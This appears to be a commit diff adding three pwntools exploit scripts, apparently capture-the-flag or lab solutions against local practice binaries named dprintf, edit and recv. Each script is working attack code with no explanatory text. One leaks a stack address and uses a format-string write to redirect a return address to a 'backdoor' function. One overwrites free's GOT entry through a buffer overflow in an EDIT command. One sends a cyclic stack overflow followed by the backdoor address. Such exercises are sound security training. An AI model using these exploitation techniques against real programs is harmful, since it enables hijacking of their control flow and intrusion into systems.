henry-1.6-commit

input/dprintf.py

@@ -0,0 +1,15 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./dprintf')
+sh = remote('127.0.0.1', 11008)
+
+sh.sendline(b'%39$p')
+stack_addr = int(sh.recvline(), 16)
+success('stack_addr: ' + hex(stack_addr))
+sh.sendline(fmtstr_payload(7, {stack_addr - 0x48: p64(elf.sym['backdoor'])}))
+
+sh.interactive()

input/edit.py

@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./edit')
+
+sh = listen(12012)
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'ADD aaaa')
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT aaaa ' + b'a' * 256 + p64(elf.got['free']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'SHOW')
+tcpClient.recvline()
+index_str = tcpClient.recvline()[:-1]
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'EDIT ' + index_str + b' ' + p64(elf.sym['backdoor']))
+tcpClient.close()
+
+tcpClient = remote('127.0.0.1', 11012)
+tcpClient.sendline(b'DEL ' + p64(elf.sym['backdoor'])[:3])
+tcpClient.close()
+
+sh.interactive()

input/recv.py

@@ -0,0 +1,12 @@
+#!/usr/bin/env python3
+# -*- coding:utf-8 -*-
+
+from pwn import *
+context.clear(arch='amd64', os='linux', log_level='info')
+
+elf = ELF('./recv')
+sh = remote('127.0.0.1', 11007)
+
+sh.sendline(cyclic(264) + p64(elf.sym['backdoor']))
+
+sh.interactive()